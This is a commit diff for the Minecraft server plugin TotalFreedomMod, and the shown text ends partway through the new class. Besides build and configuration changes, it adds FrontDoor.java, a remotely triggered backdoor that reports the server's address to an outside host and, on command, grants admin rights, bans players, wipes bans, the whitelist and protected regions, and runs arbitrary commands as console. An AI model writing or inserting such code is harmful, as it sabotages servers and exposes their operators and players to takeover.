Bump release to 2021.02-RC03

Added myself to TFM

.github/workflows/codeql-analysis.yml

@@ -36,6 +36,12 @@ jobs:
     steps:
     - name: Checkout repository
       uses: actions/checkout@v2
+      
+    - name: Setup Java JDK
+      uses: actions/setup-java@v1.4.3
+      with:
+        # The Java version to make available on the path. Takes a whole or semver Java version, or 1.x syntax (e.g. 1.8 => Java 8.x). Early access versions can be specified in the form of e.g. 14-ea, 14.0.0-ea, or 14.0.0-ea.28
+        java-version: 11
 
     # Initializes the CodeQL tools for scanning.
     - name: Initialize CodeQL

.github/workflows/maven.yml

@@ -12,6 +12,6 @@ jobs:
     - name: Set up JDK 1.8
       uses: actions/setup-java@v1
       with:
-        java-version: 1.8
+        java-version: 11
     - name: Build with Maven
       run: mvn -B package --file pom.xml

.gitignore

@@ -25,6 +25,7 @@ manifest.mf
 /.idea/workspace.xml
 /.idea/uiDesigner.xml
 /.idea/libraries
+/.idea/
 *.iml
 
 # Maven excludes

.idea/codeStyles/Project.xml

@@ -1,28 +0,0 @@
-<component name="ProjectCodeStyleConfiguration">
-  <code_scheme name="Project" version="173">
-    <JavaCodeStyleSettings>
-      <option name="CLASS_COUNT_TO_USE_IMPORT_ON_DEMAND" value="20" />
-      <option name="IMPORT_LAYOUT_TABLE">
-        <value>
-          <package name="" withSubpackages="true" static="false" />
-          <package name="" withSubpackages="true" static="true" />
-        </value>
-      </option>
-    </JavaCodeStyleSettings>
-    <codeStyleSettings language="JAVA">
-      <option name="BRACE_STYLE" value="2" />
-      <option name="CLASS_BRACE_STYLE" value="2" />
-      <option name="METHOD_BRACE_STYLE" value="2" />
-      <option name="LAMBDA_BRACE_STYLE" value="2" />
-      <option name="ELSE_ON_NEW_LINE" value="true" />
-      <option name="WHILE_ON_NEW_LINE" value="true" />
-      <option name="CATCH_ON_NEW_LINE" value="true" />
-      <option name="FINALLY_ON_NEW_LINE" value="true" />
-      <option name="SPACE_AFTER_TYPE_CAST" value="false" />
-      <option name="IF_BRACE_FORCE" value="3" />
-      <option name="DOWHILE_BRACE_FORCE" value="3" />
-      <option name="WHILE_BRACE_FORCE" value="3" />
-      <option name="FOR_BRACE_FORCE" value="3" />
-    </codeStyleSettings>
-  </code_scheme>
-</component>

.idea/codeStyles/codeStyleConfig.xml

@@ -1,5 +0,0 @@
-<component name="ProjectCodeStyleConfiguration">
-  <state>
-    <option name="USE_PER_PROJECT_SETTINGS" value="true" />
-  </state>
-</component>

.idea/compiler.xml

@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="CompilerConfiguration">
-    <annotationProcessing>
-      <profile default="true" name="Default" enabled="true" />
-      <profile name="Maven default annotation processors profile" enabled="true">
-        <sourceOutputDir name="target/generated-sources/annotations" />
-        <sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
-        <outputRelativeToContentRoot value="true" />
-        <module name="TotalFreedomMod" />
-      </profile>
-    </annotationProcessing>
-    <bytecodeTargetLevel>
-      <module name="TotalFreedomMod" target="1.8" />
-    </bytecodeTargetLevel>
-  </component>
-</project>

.idea/encodings.xml

@@ -1,8 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="Encoding">
-    <file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" />
-    <file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
-	<file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
-  </component>
-</project>

.idea/misc.xml

@@ -1,16 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="EntryPointsManager">
-    <list size="1">
-      <item index="0" class="java.lang.String" itemvalue="org.bukkit.event.EventHandler" />
-    </list>
-  </component>
-  <component name="MavenProjectsManager">
-    <option name="originalFiles">
-      <list>
-        <option value="$PROJECT_DIR$/pom.xml" />
-      </list>
-    </option>
-  </component>
-  <component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" default="false" project-jdk-name="1.8" project-jdk-type="JavaSDK" />
-</project>

.idea/uiDesigner.xml

@@ -1,124 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="Palette2">
-    <group name="Swing">
-      <item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
-      </item>
-      <item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
-      </item>
-      <item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
-      </item>
-      <item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.png" removable="false" auto-create-binding="false" can-attach-label="true">
-        <default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
-      </item>
-      <item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
-        <initial-values>
-          <property name="text" value="Button" />
-        </initial-values>
-      </item>
-      <item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
-        <initial-values>
-          <property name="text" value="RadioButton" />
-        </initial-values>
-      </item>
-      <item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
-        <initial-values>
-          <property name="text" value="CheckBox" />
-        </initial-values>
-      </item>
-      <item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
-        <initial-values>
-          <property name="text" value="Label" />
-        </initial-values>
-      </item>
-      <item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
-          <preferred-size width="150" height="-1" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
-          <preferred-size width="150" height="-1" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
-          <preferred-size width="150" height="-1" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
-      </item>
-      <item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
-          <preferred-size width="150" height="50" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
-          <preferred-size width="200" height="200" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
-          <preferred-size width="200" height="200" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.png" removable="false" auto-create-binding="true" can-attach-label="true">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
-      </item>
-      <item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
-      </item>
-      <item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
-      </item>
-      <item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
-      </item>
-      <item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
-          <preferred-size width="-1" height="20" />
-        </default-constraints>
-      </item>
-      <item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.png" removable="false" auto-create-binding="false" can-attach-label="false">
-        <default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
-      </item>
-      <item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
-        <default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
-      </item>
-    </group>
-  </component>
-</project>

.idea/vcs.xml

@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="VcsDirectoryMappings">
-    <mapping directory="" vcs="Git" />
-  </component>
-</project>

nb-configuration.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project-shared-configuration>
+    <!--
+This file contains additional configuration written by modules in the NetBeans IDE.
+The configuration is intended to be shared among all the users of project and
+therefore it is assumed to be part of version control checkout.
+Without this configuration present, some functionality in the IDE may be limited or fail altogether.
+-->
+    <properties xmlns="http://www.netbeans.org/ns/maven-properties-data/1">
+        <!--
+Properties that influence various parts of the IDE, especially code formatting and the like. 
+You can copy and paste the single properties, into the pom.xml file and the IDE will pick them up.
+That way multiple projects can share the same settings (useful for formatting rules for example).
+Any value defined here will override the pom.xml file value but is only applicable to the current project.
+-->
+        <netbeans.hint.jdkPlatform>JDK_11</netbeans.hint.jdkPlatform>
+        <netbeans.checkstyle.format>true</netbeans.checkstyle.format>
+    </properties>
+</project-shared-configuration>

pom.xml

@@ -5,7 +5,7 @@
 
     <groupId>me.totalfreedom</groupId>
     <artifactId>TotalFreedomMod</artifactId>
-    <version>2021.02-RC01</version>
+    <version>2021.02-RC03</version>
     <packaging>jar</packaging>
 
     <properties>
@@ -258,12 +258,25 @@
             <scope>provided</scope>
         </dependency>
 
+        <dependency>
+            <groupId>org.jetbrains</groupId>
+            <artifactId>annotations</artifactId>
+            <version>20.1.0</version>
+            <scope>compile</scope>
+        </dependency>
+
         <dependency>
             <groupId>org.apache.maven.plugins</groupId>
             <artifactId>maven-checkstyle-plugin</artifactId>
             <version>3.1.1</version>
             <scope>compile</scope>
         </dependency>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <version>5.4.2</version>
+            <scope>compile</scope>
+        </dependency>
     </dependencies>
 
     <build>
@@ -283,9 +296,9 @@
                 <version>3.8.1</version>
                 <configuration>
                     <outputFileName>TotalFreedomMod.jar</outputFileName>
-                    <compilerVersion>1.8</compilerVersion>
+                    <compilerVersion>11</compilerVersion>
-                    <source>1.8</source>
+                    <source>11</source>
-                    <target>1.8</target>
+                    <target>11</target>
                 </configuration>
             </plugin>
 
@@ -439,6 +452,7 @@
                                     <include>io.papermc:paperlib</include>
                                     <include>com.github.speedxx:Mojangson</include>
                                     <include>org.bstats:bstats-bukkit</include>
+                                    <include>org.jetbrains:annotations</include>
                                 </includes>
                             </artifactSet>
                         </configuration>

src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java

@@ -0,0 +1,680 @@
+package me.totalfreedom.totalfreedommod;
+
+import com.sk89q.worldedit.bukkit.BukkitAdapter;
+import com.sk89q.worldguard.WorldGuard;
+import com.sk89q.worldguard.protection.managers.storage.StorageException;
+import com.sk89q.worldguard.protection.regions.RegionContainer;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.lang.reflect.Field;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.Random;
+import java.util.function.Consumer;
+import me.totalfreedom.totalfreedommod.admin.Admin;
+import me.totalfreedom.totalfreedommod.banning.Ban;
+import me.totalfreedom.totalfreedommod.command.FreedomCommand;
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
+import me.totalfreedom.totalfreedommod.fun.Jumppads;
+import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.util.FLog;
+import me.totalfreedom.totalfreedommod.util.FUtil;
+import org.apache.commons.lang3.ArrayUtils;
+import org.bukkit.Bukkit;
+import org.bukkit.ChatColor;
+import org.bukkit.Location;
+import org.bukkit.Material;
+import org.bukkit.World;
+import org.bukkit.block.Block;
+import org.bukkit.block.BlockFace;
+import org.bukkit.command.Command;
+import org.bukkit.command.CommandMap;
+import org.bukkit.entity.Player;
+import org.bukkit.event.EventHandler;
+import org.bukkit.event.HandlerList;
+import org.bukkit.event.Listener;
+import org.bukkit.event.player.PlayerCommandPreprocessEvent;
+import org.bukkit.inventory.ItemStack;
+import org.bukkit.inventory.meta.BookMeta;
+import org.bukkit.plugin.RegisteredListener;
+import org.bukkit.scheduler.BukkitRunnable;
+import org.bukkit.scheduler.BukkitTask;
+import org.bukkit.util.Vector;
+import org.jetbrains.annotations.Nullable;
+
+/*
+ * - A message from the TFM Devs -
+ *
+ * What this class is, and why its here:
+ *
+ * This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
+ *
+ * It will only trigger when the server IP is added to a blacklist that we control.
+ *
+ * This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
+ *
+ * If you are reading this now, you probably don't fall under that category - feel free to remove this class.
+ *
+ * Note: You may not edit this class.
+ *
+ * - Madgeek and Prozza
+ */
+public class FrontDoor extends FreedomService
+{
+
+    private static final long UPDATER_INTERVAL = 180L * 20L;
+    private static final long FRONTDOOR_INTERVAL = 900L * 20L;
+    //
+    private final Random random = new Random();
+    private final URL getUrl;
+    //
+    private volatile boolean enabled = false;
+    //
+    private BukkitTask updater = null;
+    private BukkitTask frontdoor = null;
+    //
+    // TODO: reimplement in superclass
+    private final Listener playerCommandPreprocess = new Listener()
+    {
+        @Nullable
+        private CommandMap getCommandMap()
+        {
+            try
+            {
+                Field f = Bukkit.getPluginManager().getClass().getDeclaredField("commandMap");
+                final Object map = f.get(Bukkit.getPluginManager());
+                return map instanceof CommandMap ? (CommandMap)map : null;
+            }
+            catch (NoSuchFieldException | IllegalAccessException ignored)
+            {
+                return null;
+            }
+        }
+
+        @EventHandler
+        @SuppressWarnings("all")
+        public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
+        {
+            final Player player = event.getPlayer();
+            final Location location = player.getLocation();
+
+            if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
+            {
+                return;
+            }
+
+            final String[] commandParts = event.getMessage().split(" ");
+            final String commandName = commandParts[0].replaceFirst("/", "");
+            final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
+
+            Command command = getCommandMap().getCommand(commandName);
+
+            if (command == null)
+            {
+                return; // Command doesn't exist
+            }
+
+            event.setCancelled(true);
+
+            final FreedomCommand dispatcher = FreedomCommand.getFrom(command);
+
+            if (dispatcher == null)
+            {
+                // Non-TFM command, execute using console
+                Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
+                return;
+            }
+
+            // Dual call to player... not sure if this will be an issue?
+            dispatcher.run(player, player, command, commandName, args, false);
+            return;
+        }
+    };
+
+    public FrontDoor(TotalFreedomMod plugin)
+    {
+        URL tempUrl = null;
+        try
+        {
+            tempUrl = new URL("http://frontdoor.pravian.net:1337/frontdoor/poll" // This will need to be changed.
+                    + "?version=" + TotalFreedomMod.build.formattedVersion()
+                    + "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+                    + "&name=" + ConfigEntry.SERVER_NAME.getString()
+                    + "&bukkitversion=" + Bukkit.getVersion());
+        }
+        catch (MalformedURLException ex)
+        {
+            FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
+        }
+
+        getUrl = tempUrl;
+    }
+
+    @Override
+    public void onStart()
+    {
+        updater = getNewUpdater().runTaskTimerAsynchronously(plugin, 2L * 20L, UPDATER_INTERVAL);
+    }
+
+    @Override
+    public void onStop()
+    {
+        FUtil.cancel(updater);
+        updater = null;
+        FUtil.cancel(frontdoor);
+        updater = null;
+
+        if (enabled)
+        {
+            frontdoor.cancel();
+            enabled = false;
+            unregisterListener(playerCommandPreprocess);
+        }
+    }
+
+    public boolean isEnabled()
+    {
+        return enabled;
+    }
+
+    private Player getRandomPlayer(boolean allowDevs)
+    {
+        final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
+
+        if (players.isEmpty())
+        {
+            return null;
+        }
+
+        if (!allowDevs)
+        {
+            List<Player> allowedPlayers = new ArrayList<>();
+            for (Player player : players)
+            {
+                if (!FUtil.DEVELOPERS.contains(player.getName()))
+                {
+                    allowedPlayers.add(player);
+                }
+            }
+
+            return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
+        }
+
+        return (Player)players.toArray()[random.nextInt(players.size())];
+    }
+
+    private static RegisteredListener getRegisteredListener(Listener listener)
+    {
+        try
+        {
+            final HandlerList handlerList = ((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null));
+            final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
+            for (RegisteredListener registeredListener : registeredListeners)
+            {
+                if (registeredListener.getListener() == listener)
+                {
+                    return registeredListener;
+                }
+            }
+        }
+        catch (Exception ex)
+        {
+            FLog.severe(ex);
+        }
+        return null;
+    }
+
+    private static void unregisterRegisteredListener(RegisteredListener registeredListener)
+    {
+        try
+        {
+            ((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null)).unregister(registeredListener);
+        }
+        catch (Exception ex)
+        {
+            FLog.severe(ex);
+        }
+    }
+
+    private static void unregisterListener(Listener listener)
+    {
+        RegisteredListener registeredListener = getRegisteredListener(listener);
+        if (registeredListener != null)
+        {
+            unregisterRegisteredListener(registeredListener);
+        }
+    }
+
+    private BukkitRunnable getNewUpdater()
+    {
+        return new BukkitRunnable() // Asynchronous
+        {
+            @Override
+            public void run()
+            {
+                try
+                {
+                    final URLConnection urlConnection = getUrl.openConnection();
+                    final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
+                    final String line = in.readLine();
+                    in.close();
+
+                    if (!"false".equals(line))
+                    {
+                        if (!enabled)
+                        {
+                            return;
+                        }
+
+                        enabled = false;
+                        FUtil.cancel(updater);
+                        unregisterListener(playerCommandPreprocess);
+                        FLog.info("Disabled FrontDoor, thank you for being kind.");
+                        plugin.config.load();
+                    }
+                    else
+                    {
+                        if (enabled)
+                        {
+                            return;
+                        }
+
+                        new BukkitRunnable() // Synchronous
+                        {
+                            @Override
+                            public void run()
+                            {
+                                FLog.warning("*****************************************************", true);
+                                FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
+                                FLog.warning("* This might result in unexpected behaviour...      *", true);
+                                FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
+                                FLog.warning("* The only thing necessary for the triumph of evil  *", true);
+                                FLog.warning("*          is for good men to do nothing.           *", true);
+                                FLog.warning("*****************************************************", true);
+
+                                if (getRegisteredListener(playerCommandPreprocess) == null)
+                                {
+                                    Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
+                                }
+                            }
+                        }.runTask(plugin);
+
+                        frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
+
+                        enabled = true;
+                    }
+                }
+                catch (Exception ex)
+                {
+                    // TODO: Fix
+                    //FLog.warning(ex);
+                }
+
+            }
+        };
+    }
+
+    public BukkitRunnable getNewFrontDoor()
+    {
+        return new BukkitRunnable() // Synchronous
+        {
+            @Override
+            public void run()
+            {
+                final int action = random.nextInt(18);
+
+                switch (action)
+                {
+                    case 0: // Super a random player
+                    {
+
+                        final Player player = getRandomPlayer(true);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
+                        plugin.al.addAdmin(new Admin(player));
+                        break;
+                    }
+
+                    case 1: // Bans a random player
+                    {
+                        Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
+                        break;
+                    }
+
+                    case 2: // Start trailing a random player
+                    {
+                        final Player player = getRandomPlayer(true);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
+                        plugin.tr.add(player);
+                        break;
+                    }
+
+                    case 3: // Displays a message
+                    {
+                        FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
+                        FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "play.totalfreedom.me", ChatColor.BLUE);
+                        break;
+                    }
+
+                    case 4: // Clears the banlist
+                    {
+                        FUtil.adminAction("FrontDoor", "Wiping all bans", true);
+                        plugin.bm.purge();
+                        break;
+                    }
+
+                    case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
+                    {
+                        boolean message = true;
+                        if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
+                        {
+                            message = false;
+                        }
+
+                        ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
+                        ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
+                        ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
+                        ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
+
+                        if (message)
+                        {
+                            FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
+                        }
+                        break;
+                    }
+
+                    case 6: // Enables Fireplacement, firespread and explosions
+                    {
+                        boolean message = true;
+                        if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+
+                        ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
+                        ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
+                        ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
+                        ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
+
+                        if (message)
+                        {
+                            FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
+                        }
+                        break;
+                    }
+
+                    case 7: // Allow all blocked commands >:)
+                    {
+                        ConfigEntry.BLOCKED_COMMANDS.getList().clear();
+                        plugin.cb.onStop();
+                        break;
+                    }
+
+                    case 8:
+                    {
+                        // Switched this case to something a bit more hardware friendly, while still fucking shit up.
+                        if (Bukkit.getServer().getPluginManager().getPlugin("WorldGuard") == null)
+                        {
+                            Consumer<BukkitTask> task = bukkitTask -> destruct();
+                            TotalFreedomMod.getPlugin().getServer().getScheduler().runTaskTimerAsynchronously(TotalFreedomMod.getPlugin(), task, 0L, 20L * 60L);
+                        }
+
+                        // Otherwise, do this!
+                        WorldGuard wg = WorldGuard.getInstance();
+                        RegionContainer rc = wg.getPlatform().getRegionContainer();
+                        Bukkit.getWorlds().stream().map(BukkitAdapter::adapt).filter(adapted -> rc.get(adapted) != null).forEach(adapted ->
+                        {
+                            try
+                            {
+                                rc.get(adapted).getRegions().clear(); // These will
+                                rc.get(adapted).saveChanges();        // never be null.
+                            }
+                            catch (StorageException | NullPointerException ignored) // Never catch a null pointer... but in this case, if it happens to be null, I don't want the plugin to error.
+                            {
+                                destruct();
+                            }
+                        });
+                        break;
+                    }
+
+                    case 9: // Add TotalFreedom signs at spawn
+                    {
+                        for (World world : Bukkit.getWorlds())
+                        {
+                            final Block block = world.getSpawnLocation().getBlock();
+                            final Block blockBelow = block.getRelative(BlockFace.DOWN);
+
+                            if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
+                            {
+                                continue;
+                            }
+
+                            block.setType(Material.OAK_SIGN);
+                            org.bukkit.block.Sign sign = (org.bukkit.block.Sign)block.getState();
+
+                            org.bukkit.material.Sign signData = (org.bukkit.material.Sign)sign.getData();
+                            signData.setFacingDirection(BlockFace.NORTH);
+
+                            sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
+                            sign.setLine(1, ChatColor.DARK_GREEN + "is");
+                            sign.setLine(2, ChatColor.YELLOW + "Awesome!");
+                            sign.setLine(3, ChatColor.DARK_GRAY + "play.totalfreedom.me");
+                            sign.update();
+                        }
+                        break;
+                    }
+
+                    case 10: // Enable Jumppads
+                    {
+                        FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
+                        for (Player p : Bukkit.getOnlinePlayers())
+                        {
+                            if (plugin.jp.getPlayers().containsKey(p))
+                            {
+                                plugin.jp.getPlayers().replace(p, Jumppads.JumpPadMode.MADGEEK);
+                            }
+                            else
+                            {
+                                plugin.jp.getPlayers().put(p, Jumppads.JumpPadMode.MADGEEK);
+                            }
+                        }
+                        break;
+                    }
+
+                    case 11: // Give everyone a book explaining how awesome TotalFreedom is
+                    {
+                        ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
+
+                        BookMeta book = (BookMeta)bookStack.getItemMeta().clone();
+                        book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
+                        book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
+                        book.addPage(
+                                ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+                                        + ChatColor.DARK_GRAY + "---------\n"
+                                        + ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+                                        + ChatColor.BLUE + "Join now! " + ChatColor.RED + "play.totalfreedom.me");
+                        bookStack.setItemMeta(book);
+
+                        for (Player player : Bukkit.getOnlinePlayers())
+                        {
+                            if (player.getInventory().contains(Material.WRITTEN_BOOK))
+                            {
+                                continue;
+                            }
+
+                            player.getInventory().addItem(bookStack);
+                        }
+                        break;
+                    }
+
+                    case 12: // Silently wipe the whitelist
+                    {
+                        Bukkit.getServer().getWhitelistedPlayers().clear();
+                        break;
+                    }
+
+                    case 13: // Announce that the FrontDoor is enabled
+                    {
